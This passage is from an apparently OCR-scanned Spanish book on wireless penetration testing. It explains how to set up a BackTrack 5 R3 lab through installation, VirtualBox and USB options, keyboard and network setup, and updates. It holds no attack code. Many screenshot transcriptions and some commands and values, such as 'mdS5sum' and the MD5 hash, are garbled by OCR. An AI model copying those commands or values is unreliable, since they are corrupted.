soportar inyeccion y captura de paquetes. Logicamente, BackTrack debe
soportar el adaptador que pretendemos usar. Precisamente, el hecho de
elegir como maquina de pruebas un Satellite Pro, de Toshiba, se debe a
que porta un chip Realtek RTL8187B, para el que BackTrack trae soporte
nativo. Si este no es su caso, puede decidirse por el modelo tipo USB
AWUSO036H, de Alfa Networks. Es un adaptador externo plenamente
funcional con BackTrack. Esta disponible en Espafia por unos 32 € en el
momento de escribir este libro (Figura 2.2).

Figura 2.2. Adaptador inaldmbrico AWUSO36H
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P Un punto de acceso. Es el elemento esencial de nuestro laboratorio
inalambrico. Para nuestros objetivos vale cualquiera que soporte los
estandares de cifrado WEP/WPA/WPA2. Nosotros hemos utilizado un
router inalambrico Linksys modelo E3000, de Cisco (Figura 2.3).

Figura 2.3. Punto de acceso Linksys E3000

” Una conexion a Internet. Es muy util para seguir nuestras indagaciones,
descargar software y realizar algunas de las practicas propuestas.

2.2 REQUISITOS DE SOFTWARE

Como software para instalar, configurar y realizar las pruebas de intrusion
en nuestro laboratorio inaldmbrico, necesitaremos los siguientes programas:

¥ BackTrack 5 R3. Este software puede descargarse desde su sitio web
oficial (http://www.backtrack-linux.org/downloads/). Es una distribu-
cion GNU/Linux, de codigo abierto y también gratuita, en formato Live
DVD, pensada y disefiada para las auditorias de seguridad.

¥ Windows XP/Vista/7. El ordenador que actiie como victima correrd
cualquiera de las distribuciones que tenga de este sistema operativo.

Es importante sefialar que, aunque los ataques descritos en esta obra se
realizardn sobre una maquina basada en Windows, las técnicas aprendidas son ttiles
igualmente contra cualquier dispositivo Wi-Fi —como teléfonos inteligentes y
tabletas, entre otros—, sin importar qué sistema operativo ejecute.
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2.3 BACKTRACK 5

BackTrack 5 es una distribucion GNU/Linux basada en la distribucion
Ubuntu 10.04 que se destina fundamentalmente al &mbito de la informatica forense
y auditoria de redes. Recibe su nombre del algoritmo de busqueda computacional
conocido como backtracking. La version actual es la 5R3, que nace de la fusion de
dos distribuciones ampliamente utilizadas en pruebas de intrusion y deteccion:

¥ WHAX. Se trata de una distribucion Linux Live CD basada en Slax y
pensada para auditorias de seguridad.

¥ Auditor Security Collection. Un Live CD basado en Knoppix con mas
de 300 herramientas para realizar todo tipo de pruebas.

Las herramientas de BackTrack se engloban en doce categorias que cubren
casi todos los campos en lo que respecta a auditoria de redes e informatica forense.
Son las siguientes:

¥ Recopilacién de informacién. Esta categoria contiene herramientas para
recopilar datos de un probable objetivo: un servidor DNS, un enrutador,
una direccion de correo electronico, un sitio web, etc. Todo ello desde
Internet, sin necesidad de tocar el objetivo.

¥ Identificacion de vulnerabilidades. Aqui aparecen herramientas para
buscar deficiencias generales en dispositivos Cisco. También permite
realizar técnicas automatizadas, capaces de generar y enviar datos
secuenciales o aleatorios a una o varias areas o puntos de una aplicacion,
con el objeto de detectar defectos o vulnerabilidades existentes en el
software auditado.

¥ Herramientas de explotacién. Contiene todas aquellas herramientas
necesarias para explotar las vulnerabilidades encontradas en la maquina
objetivo.

¥ Escalada de privilegios. Tras explotar las vulnerabilidades de un equipo
y conseguir acceder al mismo, se necesitan las herramientas de esta
categoria para conseguir el maximo grado de permisos en la maquina.
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Mantenimiento del acceso. Estas herramientas le ayudaran a mantener
el acceso en la victima pero, casi siempre, tendra que escalar privilegios
primero.

Ingenieria inversa. Contiene herramientas para depurar un programa o
descubrir como funciona el software, funcion o caracteristica del que no
se dispone codigo fuente, hasta el punto de poder modificarlo.

Anilisis de redes de radio. Aqui se encuentran herramientas para auditar
redes inaldmbricas, bluetooth y RFID.

Test de estrés. Contiene herramientas para someter a una maquina o
serviclo a pruebas de estrés.

Forenses. Estas herramientas se emplean en la practica forense digital,
como puede ser la obtencion de imagenes de disco y su andlisis, la
recuperacion de discos y archivos corruptos o dafiados, etc.

Informes. Contiene herramientas para la generacion de informes y
documentacion de todos los procesos.

Servicios. Herramientas para instalar algunos demonios o servicios tales
como Apache, MySQL, ssh, etc.

Misceldnea. Conjunto de herramientas que pueden ser utiles en alguna
circunstancia y que no se pueden agrupar en una categoria especifica.

2.4 DESCARGA

................................................................................................................................................................................

En primer lugar, antes de instalar y usar BackTrack 5 R3, debera descargarlo
gratuitamente, bien desde un archivo torrent, bien desde su sitio web oficial
(http:/twww.backtrack-linux.org/downloads/).

En el sitio de BackTrack encontrara dos tipos de imagenes de disco. Una version
se encuentra en formato ISO, muy util si desea grabar la imagen en un DVD para su
instalacion posterior; y otra, en formato VMWare, por si quiere emplear Back Track en
un entorno virtual. Desde aqui se le aconseja descargar la version para arquitectura de 32
bits en formato ISO y con entorno de escritorio GNOME (Figura 2.4).
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CLICK TO DOWNLOAD

Downloads

Figura 2.4. Posibilidades de descarga de BackTrack 5 R3

Una vez completada la descarga, seria deseable que comparara los valores
hash MDS de la imagen descargada con la publicada en la seccion de descargas. De
este modo, podra saber si el archivo se encuentra o no intacto por cualquier motivo.

En un sistema operativo tipo Linux, puede hallar usted mismo el valor hash
de la imagen que acaba de descargar con el comando md5sum:

# mdS5sum BTS5R3-GNOME-32.iso
aafff8ff5b71fdb6fccdded49a6541a0 BT5R3-GNOME-32.1is0

Sisu sistema operativo es Windows, puede usar una herramienta como HashSlash,
que podra descargar desde hitp://www.xylemstudios.com/ products/hashslash.php, o
encontrarla en el material complementario del libro. Soporta los algoritmos de hash MD35,
SHA1,SHA256, SHA384, SHAS512, RIPEMD160y CRC32.

Después de ejecutar HashSlash, seleccione la localizacion del archivo
imagen que ha descargado y haga clic en Compute. Tras un tiempo, le aparecera en
la nueva ventana el resultado del valor hash (Figura 2.5).

£2 BTSR3-GNOME-32is0 =
2 HashStash = “ Status: Al hashes have been computed! |
\ - [ —
\ € \Users\Gawid BTSRIGNOME- 3200 -
€ @ M0s [Tkt [ SHAS6 ) SHAMSe ) SHASTZ Tive i) -
e il o MDS 2afBASHT 1 (dbicedded40adsd a0
digem [ e | [ Compute |
leh!u | Cose

Figura 2.5. Calculo del valor hash MD5 de la imagen descargada
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Ahora compruebe que el valor hash MD5 que usted ha obtenido y el que
se encuentra publicado en el sitio web son idénticos. Si es asi, siga con el siguiente
punto.

2.5 USO DE BACKTRACK

BackTrack puede usarse de tres formas diferentes:

¥ Directamente desde el Live DVD.
v Instalandolo en un disco duro y ejecutandolo desde él.
v Desde un pendrive, como software portable.

2.5.1 Live DVD

Si no se desea o puede instalar BackTrack en un ordenador, puede grabar la
imagen descargada en un DVD y arrancar la computadora desde éL

La ventaja de usar BackTrack de este modo es que es muy sencillo de ejecutar
y no hay que preocuparse por la configuracion previa de su ordenador. No obstante,
esto también es una importante desventaja, pues es posible que algunas funciones no
se ejecuten de forma correcta y que cualquier cambio en la configuracion para que
funcione no se guardaria al salir del sistema. Asi mismo, como la computadora debe
cargar el programa desde el DVD cada vez que se usa, el proceso resulta lento.

Para un uso intensivo de BackTrack, como el que va a realizar si sigue todo
este curso, lo recomendable es instalarlo en un disco duro o dispositivo de estado
solido.

2.5.2 Instalacion en un disco duro

Hay dos métodos que pueden usarse para instalar BackTrack en un disco
duro o dispositivo de estado solido:

v Instalacion de la forma habitual en una méaquina real.
v Instalacion en una méaquina virtual.
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2.5.2.1 INSTALACION EN UNA MAQUINA REAL

Antes de instalar BackTrack en un ordenador, asegurese de que el disco
no contiene datos importantes, en caso contrario, haga una copia de seguridad en
un soporte adecuado. La forma mas facil seria dedicar todo un disco duro para
su instalacion. Si no puede porque su ordenador tiene ya un sistema operativo,
necesitaria crear una particion para BackTrack y realizar una instalacion dual.

, : NOTA
? Si desea obtener mas informacion sobre como instalar un sistema dual, en
Internet encontrara una amplia informacion, incluida la propia pagina web
de BackTrack.

Es recomendable que si se decide por una instalacion dual, se haga primero
con un software especifico para realizar particiones de disco, tal como Gparted
(htip://gparted.sourceforge.net/). Arranque entonces el Live DVD, cree una particion
para BackTrack y siga estos pasos:

1. Arranque el ordenador con el Live DVD de BackTrack, tras unos
instantes, verd una pantalla con multiples opciones. Seleccione la primera,
BackTrack Text — Default Boot Text Mode y pulse Enter (Figura 2.6).

BackTrack Live CD

BackTrack Stealth No Networking enabled
Ba ck c - unt

<< back | track =

Press [Tabl to edit options

Figura 2.6. Men( de arranque del Live DVD de BackTrack
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2. Sitodo ha ido bien, vera enseguida la caracteristica pantalla de bienvenida

de BackTrack (Figura 2.7).

<< hack | track

2.5 ezl
Z .2

1.0 MO 0S5

o: Cp-Mm VR b .
)54 B Tsdal Urite cache: enabled. resd cache” rrabled, dacin’t support DTD or UM

2.700588) 510 e drive: Wx/A2x sasforaZ \ray
2.Z274713) cdron: Unifors CO-RON driver Revixion: 3.20

2.286%00) 5T 1:0:0'9 Mtached stsi gemeric sgl type S

2 X%30) sdal ueknoun partition table
2.331123) 34 0:00-0 fsdal Attached SCST disk

2. T50ZF2) rec_cmon ric_cmon . setling systes clochk to 2012-0%5-16 18:59:07 UTC (133717

2. XSHAZE) BIOS EDD Facility vo. 16 2004
32 1] \

Z

25, 0 devices found

Figura 2.7. Pantalla de bienvenida de BackTrack en modo texto

3. Para arrancar el sistema en modo gréfico, escriba en la linea de comandos

(root@bt:~#) startx y pulse Enter.

4. Ahora, para instalar el sistema operativo, haga doble clic en Install
BackTrack, en la parte superior izquierda del escritorio (Figura 2.8).

<« harcle | tracle

=

Figura 2.8. Pantalla de inicio de BackTrack en modo gréfico
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5. El instalador grafico es muy sencillo y recuerda a los que emplean la
mayoria de las distribuciones de Linux (Figura 2.9). Solo debe seleccionar
las distintas opciones en cada uno de los pasos.

Instalar

English
Espaiiol
Esperanto
Eusiara
Francais
Gaeilge
Galego
Hrvatsk
Italiano
Kurdi
Latviski
Uetuvidica
Magyar
Nederiands

Paso 1 de 7

o= stalar

* Bienvenido/a

LEsta listo para Instalar? Una vez que haya contestado a
algunas pregunias, podra instalar en este equipo el
contenido de este live CD para que pueda usar BackTrack
Live a la mixima velocidad sin necesitar el CD.

S4i0 e llevard algunos minutos responder a las preguntas,

Figura 2.9. Seleccion del idioma de instalacion

6. Finalizada la instalacion, reinicie la maquina cuando se le pida y retire el
DVD de su lector (Figura 2.10).

= aa Instalacion completa

La instalacion ha finalizado. Ahora puede seguir
probando Ubuntu, pero hasta que no reinicie ¢l
Buipo, NO S8 CONSErVara ningln cambio que
haga ni ningin documents que quarde

Continuar pruebas Reiniciar ahora

Figura 2.10. Instalacion de BackTrack finalizada
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7. Una vez reiniciado el sistema, BackTrack nos pedird que nos
autentiquemos. Observe que a pie de pantalla, en modo texto, le solicitara
el usuario, bt login, y la contrasena, Password (Figura 2.11). Paraacceder
con derechos de administrador, teclee root y toor, respectivamente.

tyl

2012 1686 GNU/Linux

Figura 2.11. Detalle del modo de autenticarse en BackTrack

8. A continuacion, va a proceder a modificar la contrasefia que trae
BackTrack por defecto. Para ello, escriba el comando Unix passwd e
introduzeca una contrasefia que vaya a recordar. Repitala cuando se le
solicite para comprobar que coinciden (Figura 2.12).

86 GNU/Linux

Figura 2.12. Cambio de la contrasena por defecto

9. Por tultimo, escriba en la linea de comandos startx para iniciar
BackTrack en modo grafico y pase al epigrafe 2.8, Configuracion del
teclado.

2.6 INSTALACION EN UNA MAQUINA VIRTUAL

S1no desea, o simplemente no puede dedicar un tinico portatil a la instalacion
de BackTrack, puede llevar a cabo la misma sobre un software de virtualizacion
como VirtualBox (htips://www.virtualbox.org/wiki/Downloads).
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Oracle VM VirtualBox® es un programa gratuito, desarrollado por Oracle y
sujeto a la licencia GPL, que permite virtualizar innumerables sistemas operativos.
Puede encontrar un completo manual en PDF de este software de virtualizacion en
el material complementario.

La ventaja de instalar BackTrack en un entorno virtual como sistema
operativo invitado es que evitamos la tarea de particionar el disco, que siempre
puede resultar peligrosa para la integridad de los datos presentes previamente en el
mismo. No obstante, también presenta algunas desventajas. La principal es que su
ejecucion resulta mucho mas lenta que si funcionara como sistema operativo principal
y, ademas, salvo que posea una tarjeta de red inalambrica USB, no podra usar la
integrada en su equipo, pues VirtualBox bloquea el acceso a todos los dispositivos
hardware salvo a los dispositivos USB.

El proceso de instalacion de BackTrack en VirtualBox es idéntico al
comentado en el punto anterior, salvo el proceso de preinstalacion, en el que hemos
de instalar la maquina virtual sobre nuestro sistema operativo y configurarla para
ejecutar BackTrack.

Una vez que haya descargado Oracle VM VirtualBox para sistemas Windows,
siga estos pasos para su instalacion y configuracion antes de proceder a la instalacion
de BackTrack:

1. Comience la instalacion, podria tener que iniciarla como administrador
dependiendo de la configuracion de su sistema.

2. Haga clic en Next > en la ventana inicial.
3. Asegurese de que la ruta de instalacion es la que desea y pulse Next >.

4. Seleccione las opciones que prefiera con respecto a los accesos directos
en el escritorio y haga clic en Next >.

5. Pulse Yes si desea proceder a la instalacion con las opciones seleccionadas
previamente.

6. Pulse Install para iniciar el proceso de instalacion de VirtualBox.
Este proceso durard mas o menos dependiendo del rendimiento de su

ordenador.

7. Pulse Finish para iniciar VirtualBox.
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Ya tiene el software preparado para configurar el entorno virtual necesario
para instalar BackTrack (Figura 2.13).

%8 Oracle VM VirtualBox Administrador
Archivo Magquina  Ayuda

I'd s ] ) -
{ ..} '_'_,!‘ = & la.m 2) Instantaneas
MNueva Configuraciin  Tnidr  Descartar

iBienvenido a VirtualBox!

uu—mmhmmmmd&m-mrrhhn&mhmwuhﬁm
esta lsta estd vada porque todavia no se ha geado ninguna méguina
virtual, =

Para crear una nueva maquina virtual ! botén Nueva en la g'-' * !
wnammmwmbmmah <

Puede utizar |a tecia F1 para obtener ayuda o visitar Eer )
wenw. vietualbax.org para las Gtimas novedades e informacidn, %

Figura 2.13. Pantalla inicial de VirtualBox para Windows

2.6.1 Configuracion de VirtualBox para BackTrack

Hay dos métodos fundamentales para instalar BackTrack en una maquina virtual.
Uno es usar el Live DVD en formato [SO, tal como se haria en una maquina real. El otro
seria descargando una imagen de la maquina virtual preconfigurada en formato
VMWare.

Para seguir esta obra lo recomendable seria utilizar el Live DVD en formato
ISO, pues de este modo tendremos mas flexibilidad a la hora de configurar el tamafio
en disco y otras opciones. Ademas, si en un futuro préximo decide instalar BackTrack
en una maquina real, el proceso seria exactamente el mismo.

Una vez que tenga la imagen ISO de BackTrack y VirtualBox instalado, siga
estos pasos para preparar el entorno de virtualizacion:

1. Inicie VirtualBox desde su escritorio de Windows (Figura 2.13).

2. Seleccione el icono Nueva en la esquina superior izquierda o use el
método abreviado Ctrl + N.
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3. En la pantalla Nombre y sistema operativo introduzca el nombre de la
maquina invitada. Puede usar BackTrack 5, por ejemplo, y seleccione a
continuacion Linux como sistema operativo y Linux 2.6 como version.
Pulse Next (Figura 2.14).

u Crear maquina virtual

Nombre y sistema operativo

Selecoone un nombre descripbvo para la nueva miquna virtual y selecoone el tipo de
sistema operativo que tiene intencidn de instalar en ella, B nombre que seleccione
sera usado por VirtualBox para identficar esta maguina.

Nombre: BackTrack §

Tipo: [uinux :]| 1@

versidn: [Linus 2.6

[Ocutar descripadn] [ next | [ concelar |

Figura 2.14. Configuracion de la maquina virtual

4. Enlaventana Tamaiio de memoria debera elegir la cantidad de memoria
que empleara para el sistema operativo invitado. Cuanta menos memoria,
mas se resentira la funcionalidad. Puede dejar la que se le indique por
defecto. A continuacion, pulse Next.

5. A continuacion, seleccione Crear un disco duro virtual ahora y anote
la capacidad que le recomienda. Pulse Next.

6. Elija la opcion VDI (VirtualBox Disk Image) y haga clic en Next.

7. En la ventana Almacenamiento en unidad de disco duro fisico
seleccione la opcion Reservado dinamicamente y pulse Next.

8. A continuacion, seleccione la cantidad de espacio de disco duro virtual
segun la recomendacion que le muestra el programa y pulse Crear.

9. Sitodo ha ido bien, la maquina que acaba de crear aparecera en la pantalla
de bienvenida (Figura 2.15).
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8§ Oracle VM VirtualBox Administrador

Archivo Maquina Ayuda

Qwéu)

Mueva Configuracion Inidar Descartar

8] General

Nombre: BackTrack §
Sistema operativo: Linux 2.6
@

Memoriz base: 256 MB

Orden de arranque:  Disquete, CD/DVD-ROM,

Disco duro

[E] pantalla

Memoria de video: SMB
Servidor de escritorio remoto:  Inhabilitado

() Almacenamiento

Controller: IDE
IDE secundario maestro:  [CD/DVD] Vacio
Controller: SATA

BackTrack 5

Pusrto SATA 0: BackTrack 5.vdi (Normal, 8,00 GB)

Figura 2.15. BackTrack 5 como sistema virtual

10.Ahora necesitamos configurar los adaptadores de red. Para ello, pulse el
icono Configuracion de la pantalla inicial y después la opcion Red del
ment lateral izquierdo.

11.Haga clic en la pestaiia Adaptador 2 y seleccione Habilitar adaptador

de red.

12.Ahora conéctelo a la Red interna y seleccione Aceptar (Figura 2.16).

E4

Puede cambiar siempre la configuracién de su maquina virtual a través del
menu Configuracién.

Ya puede proceder a instalar el sistema operativo en el disco duro virtual.
Este proceso es idéntico al que realizaria sobre un disco duro en una maquina real.
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Figura 2.16. Configuracion del adaptador de red

2.6.2 Instalacion de BackTrack en el disco virtual

Ahora que tiene configurada la maquina virtual, puede proceder a instalar
BackTrack en el disco duro virtual. El proceso es sencillo:

1. Abra VM VirtualBox y seleccione la maquina que cred en el punto
anterior. A continuacion, pulse el icono Iniciar en la parte superior.

2. La maquina intentard arrancar, pero como no le hemos indicado donde
se encuentra el disco imagen desde donde hacerlo, debera seleccionarlo
ahora (Figura 2.17).

Seleccione un archivo de disco Sptico virtual o una unidad dptica fisica
que contenga un disco desde &l que inidar su nueva maquina virtual,

El disco deberia ser adecuado para iniciar el sistema y deberia contener
¢ sistema operativo que desea instalar en la méquina virtual sl quiere
hacerio ahora. El disco serd expuisado de la unidad virtual
automaticamente [a proxima vez que apague la maquina, puede hacer
esto usted mismo silo necesita desde el menu Dispositivos.,

(BTSR3-GNOME-32.50 (3,07 G8) @

|_tnoar | [ cancelsr |

Figura 2.17. Seleccion del disco de inicio
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3. Es posible que el sistema le indique que la opcion Autocaptura de
teclado esta activada. Si es asi, haga clic en OK para continuar
(Figura 2.18).

) VirtualBox - Informacién

Tiene |a opadn autocaptura de tedado habiitada. Esto causard que
| la méquina virtual capture autométicaments e tedado cada vez que la
= ventana de la MV sea activada y hard que no esté disponible para otras
aplicaciones ejecutindose en la miquina anfitrién, todas las
combinadiones de tedas (induyendo las de! sistema como AltTab) serédn
enviadas a fa MV,

Puede presionar la tecla anfitrién en cusiquer momento para liberar el
teciado y el ratdn (si estdn capturados) v devolverios al modo de

to normal, La tecla anfitridn actualmente asignada se
muestra en la barra de estado en la inferior de |a ventana de la

mwm.dhdodeimr‘ . Este icono, junto con &l icono ded
raton situado al lado, indica &l estado de captura actual del teciado v
ratén.

La tedls anfitridn actual es CTRL DERECHA.

| No mostrar este mensaje de nuevo

[ Aceptar |

Figura 2.18. Autocaptura de teclado habilitada

4. Sila maquina se detiene y le muestra el comando boot:, pulse Enter
y el sistema se iniciard. En unos instantes vera como arranca sobre
Windows el nuevo sistema operativo invitado (Figura 2.19).

Figura 2.19. BackTrack 5 ejecutandose virtualmente sobre Windows 7
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5. Ahora que ya tiene corriendo BackTrack en su maquina virtual, debera
proceder a la instalacion del mismo en el disco virtual que cred para él.
Para ello, haga clic en el icono Install BackTrack que se muestra en la
parte superior 1zquierda del escritorio (Figura 2.20).

Figura 2.20. Instalacion en el disco virtual

6. El proceso de instalacion sobre el disco duro virtual es exactamente
idéntico al explicado en el epigrafe 2.5.2.1, por lo que puede irse
directamente al punto 5 del mismo y seguir los pasos alli descritos.
Cuando acabe, vaya al epigrafe 2.8 (Configuracion del teclado).

2.7 BACKTRACK PORTABLE

La ultima posibilidad consiste en instalar BackTrack en una unidad flash
USB. Una vez realizada esta operacion, podra arrancar cualquier ordenador desde ¢l
y ejecutarlo en la nueva maquina.

La ventaja de este método en comparacion con el Live DVD es que se
pueden guardar todos los cambios en la unidad flash.

Para crear un pendrive arrancable con BackTrack podra usar multitud de
herramientas. Una de ellas es UNetbootin (http.//unetbootin.sourceforge.net), que
estd disponible para Windows, Linux y Mac Os.

Antes de poder crear el USB portable de BackTrack, necesitara:

P LaimagenISOdeBackTrack. Lanecesitara para configurar UNetbootin.

” Una unidad flash USB. Lo recomendable es usar un pendrive con al
menos 16 GB de capacidad.
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Tras descargar el software, ejecutelo y seleccione las rutas de su archivo ISO
y la unidad flash. A continuacion, pulse el boton Aceptar (Figura 2.21).

2 UNetbootin

©) Qstrbuddn == Seleccionar la Distribucion == v | == Selecconar la Version == |
Bienvenido a UNatbootin, el instalador de arranque en red universal, Uso:
1, Selecoone una distribuddn y versidn para descargar de la kista anterior, o espeafique

manuaimente los archivos para cargar a continuacidn,
2, Selecdone un tipo de instalacién y pulse Aceptar para comenzar la instalacidn,

=
Space used to preserve files across reboots (Ubuntu only): 0 e
Tipo: [Unidad Us8 | Unidad: [F:\ v [ Aceptar || Concelsr |

Figura 2.21. Creacion de un pendrive arrancable con BackTrack 5

El programa ahora extraera y copiara los archivos necesarios, asi como el
gestor de arranque en la unidad USB. Cuando finalice el proceso, UNetbootin le
pedira que reinicie la maquina. Recuerde que puede ser necesario configurar la BIOS
de su ordenador para que pueda arrancar desde una unidad flash (Figura 2.22).

BIODS SETUP UTILITY

[SATA:8M-WDC WD6400]

Figura 2.22. Configuracidn de la BIOS para arrancar desde una unidad USB
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2.8 CONFIGURACION DEL TECLADO

................................................................................................................................................................................

El ualtimo paso antes de poder utilizar BackTrack consiste en configurar el
teclado para nuestro idioma. Para ello, siga estos sencillos pasos:

1. Unavezen el escritorio de BackTrack, seleccione System > Preferences >
Keyboard y elija la ficha Layouts (Figura 2.23).

Keyboard Preferences

[ Remaye H Mave Down
# Separate layout for each window
# New windows use active window’s layout

Keyboard model: | Evdev-managed keyboard
| Options... Feset to Defaults | | Apply System-Wide, .
Type to test settings: | g

| Cose |

Figura 2.23. Mend Preferencias de teclado

2. A continuacion, pulse el boton Add... y elija la plantilla correspondiente
a Espaiia, bien por pais, bien por idioma (Figura 2.24). Pulse Add para
regresar al ment anterior.

By country ly lavguage

el -
& LEEEIEERE]EERE] ;'—_}.'--"[2 :f‘-'i";!-_
EEEEEREERELRE R Bk SR
= AR EEE EE

E
[
0

Figura 2.24. Plantilla para trabajar con un teclado espafiol
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3. Elimine ahora la plantilla americana y cierre el mena Preferencias de
teclado (Figura 2.25).

Keyboard Preferences

& Separate layout for each window
& New windows use active window's layout

Keyboard model Evdev-managed keyboard
| Options. | __&-u-uo Defaults | Apply System-wide... |
Type to test settings:
veo(Come )

Figura 2.25. Paso final de |a configuracitn del teclado

2.9 EL ENTORNO DE TRABAJO

Como ya hemos comentado, BackTrack 5 es un sistema operativo completo
basado en la distribucion de Linux, Ubuntu 10.04. Como é€l, por tanto, utiliza un
entorno de escritorio GNOME. Este entorno estd formado por dos paneles y un
fondo de escritorio. Los paneles son las barras de la parte superior e inferior de la
pantalla y el escritorio la imagen central.

2.9.1 El panel superior

Es la barra que se encuentra presente en la parte superior del entorno de
escritorio proporcionado por BackTrack (Figura 2.26).

Menias Fecha y hora
. I { j—

Applications Place

Terminal Salir

Figura 2.26. Panel superior del escritorio de BackTrack 5
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En el panel superior del entorno de trabajo proporcionado por este sistema
operativo encontramos, de 1zquierda a derecha:

P Menu Aplicaciones. Esta es la forma mas sencilla de acceder a
los programas presentes en BackTrack. Estd organizado por categorias
ordenadas alfabéticamente: Accesorios, BackTrack, Graficos, Internet,
Oficina, Otros, Sonido y Video, Herramientas del sistema y Wine (un
cargador de programas que permite ejecutar aplicaciones disefiadas para
DOS y Windows en sistemas operativos tipo Linux).

P Menu Lugares. En este menti se encuentran los enlaces a los principales
espacios del sistema y, al 1igual que en Ubuntu, son los siguientes: Carpeta
personal, Escritorio, Equipo, Red, Conectar con el servidor, Buscar
archivos y Documentos recientes.

¥ Menu Sistema. En este ment encontramos todo tipo de configuraciones,
programas de administracion y ayudas varias: Preferencias, Administracion,
Ayuda y soporte, Acerca de Gnome, Salir y Apagar equipo. Asi mismo,
presenta por defecto un lanzador para abrir un terminal o consola de
comandos B, que sustituye a la combinacion de teclas Ctrl + Alt+t. Més a
la derecha muestra el control de volumen, la fecha y hora y el icono salir B

2.9.2 El panel inferior

Es la barra que se encuentra presente en la parte de abajo del entorno de
trabajo (Figura 2.27).

\plicaciones abiertas

| Escritorios
| ] V:I—\

Mostrar escritorio Papelera
Figura 2.27. Panel inferior del escritorio de BackTrack 5

A la izquierda de este panel se encuentra el icono Mostrar escritorio, que
permite minimizar todas las aplicaciones abiertas y dejar el area de trabajo a la vista.

Entre dicho icono y la zona definida por los escritorios virtuales se
encuentran los programas que estén funcionando en esos momentos, asi como el
nombre del documento que tenga abierto, si tiene alguno, y esta activo.
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Mas a la derecha se encuentra el area de los escritorios virtuales, donde
puede elegir entre cuatro areas de trabajo y pasar de una a otra con solo pulsar con el
boton izquierdo del raton sobre ella. Si pulsa con el boton derecho sobre una de las
aplicaciones abiertas puede arrastrarla a otra area de trabajo.

El altimo icono de la derecha es la papelera. En ella puede recuperar lo que
ha eliminado previamente o bien eliminarlo definitivamente.

2.9.3 El escritorio

El escritorio de BackTrack es la zona del entorno de trabajo comprendida
entre los dos paneles. Como cualquier otro entorno de escritorio, esta disefiado
para ofrecer al usuario de una computadora una interaccion amigable y comoda.
El escritorio de BackTrack es una solucion completa de interfaz gréfica de usuario,
que ofrece facilidades de acceso y configuracion, como barras de herramientas e
integracion entre aplicaciones con habilidades como arrastrar y soltar. El entorno
de trabajo en este sistema operativo no permite el acceso a todas las caracteristicas
que se encuentran en el mismo, por lo que la interfaz de linea de comandos se utiliza
muchisimo para tener un control total sobre el sistema operativo (Figura 2.28).

Herramientas
de BackTrack

—

Aplicaciones

Escritorio

A Ath PID 1885 (dhCLLentd) Ls runhlng eo interface wishd

Terminales

Figura 2.28. Entorno de escritorio GNOME en BackTrack 5



52 BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA

2.10 CONFIGURACION DE LA CONEXION DE RED EN LA MAQUINA VIRTUAL

Tras las configuraciones anteriores, solo nos queda configurar correctamente
la interfaz de red, puesto que es una herramienta bésica para realizar las pruebas de
intrusion inalambrica sobre maquinas remotas.

2.10.1 Configuracion de Ethernet

Si ha descargado la imagen VM Ware de BackTrack 5R3, la maquina virtual
usara NAT (Network Address Translation) como conexion de red. Con este modo,
BackTrack se conectara a Internet a través del sistema operativo anfitrion, en nuestro
caso Windows 7, mientras que el resto de maquinas, e incluso el sistema operativo
anfitrion, no podran conectarse con la maquina virtual.

Asi pues, necesitamos cambiar la configuracion del adaptador de red
y conectarlo a través de un puente. Desde el gestor de VirtualBox, seleccione la
maquina virtual y haga clic en Configuracion. A continuacion, elija en el ment
lateral Red y cambie la configuracion del adaptador a puente (Figura 2.29). En el
campo Nombre seleccione la interfaz de red que esta conectada, cable o Wi-Fi.

{23 BT - Configuracién (e
Q General :a ]
W Sistema '

& Pantalla Adaptador 1 | Adsptador2 | Adaptador 3 | Adaptador 4 |
@ Almacenamiento (V] Habilitar adaptador de red
B hudo PR~
&P Red Nombre: [Adaptador Wi+ Broadcom 4313GN 802.13b/g/n 1x1 =)
@ Puertos serie W Avanzadas
& use Tipo de adaptador: [PCnet-FAST Il (Am79C973) -
&l Carpetas compartidas Moda pramiscuc: | Denegar |
DireccidnMAC:  0300272C2C65 e |
[¥] Cable conectado
Reeﬂ-:_-c de puertos |
Selecoane una calegaria de conf won de ks Ista de & ixqueerde y mueva ef ralfdn sobre un
| elemento de configuraadn para oblenar mas informacon.
L |
[ Aceptar | [ cancelr || Ayca |

Figura 2.29. Configuracion del adaptador de red en VirtualBox
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2.10.2 Configuracion inalambrica

Como ya comentamos, no es posible usar la tarjeta Wi-F1 integrada de nuestro
ordenador si ejecutamos BackTrack en un entorno virtual. Asi pues, necesitariamos
una interfaz inalambrica tipo USB, como la ya descrita Alfa Network.

Si ya ha conectado la tarjeta USB, entonces puede usar la aplicacion Wied
para conectarse inalambricamente a un punto de acceso. Wied Network Manager
se encuentra en la categoria Internet del ment Aplicaciones (Figura 2.30). Cuando
se ejecuta, verd unas cuantas redes, tanto cableadas como inalambricas, ordenadas
de mayor a menor intensidad de sefial (Figura 2.30).

* Wicd Network Manager

Chodse from the networks below

Applications Place

100% WPAZ Channel &
| 71 Aromatically Connect to this network

-

= Connect | | Propertics |

Broadlink WIFl 80% Unsecured  Channel 3

l. 1 Automatically connect o thic network
L]
.. Connect | ‘Pfoperbcnl

71 AUtpmatically CONNECt to this network
| Connect | ‘Pﬂ:pmmsl

Broadlink WIFl  68% Unsecured Channel 2

" T} Automaticaliy Connect to this network
il
Ccnmr‘;hup«!tt'q

Eastlink_KumariClub 61% Unsecwed Chanel 1
M ) Augomatically connect to this network
e Connect mml

Broadiink HQ 58% WPAZ Chamnel 14
. 7] Autommatically connect to this network
e | Cannect | (| Properties |

= —— ) -
Mot connected 4

Figura 2.30. Gestor de redes en BackTrack

Sinecesita configurar los parametros de conexion de su red, como servidores
DNS, direccion [P estatica y/o clave de red, podra hacerlo desde la ventana
Propiedades.

2.11 ACTUALIZAR BACKTRACK

BackTrack es una distribucion de Linux basada en Ubuntu. Consiste por
tanto en un nuacleo, o kernel, y un gran conjunto de aplicaciones de software.
Como cualquier otro sistema operativo, siempre son necesarias las actualizaciones
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para corregir problemas de seguridad y errores de programacion. Asi mismo, con
las actualizaciones también conseguimos nuevas funcionalidades que antes no se
encontraban presentes en las aplicaciones.

Por defecto, BackTrack usa solo sus propios repositorios de software, que
puede ver echando un vistazo al fichero /etc/apt/sources.list. Para realizar
cualquier actualizacion deberd emplear el comando apt-get. Antes de nada, siempre
tendra que sincronizar los indices de los ficheros para saber cudles son los tltimos
paquetes disponibles. El comando para esta sincronizacion es apt-get update.

| ADVERTENCIA DE SEGURIDAD

Q Asegurese siempre de sincronizar los indices antes de llevar a cabo
cualquier actualizacion o instalacion.

Hay dos comandos que nos permiten realizar las actualizaciones:

v apt-get upgrade. Este comando actualiza a su ultima version los
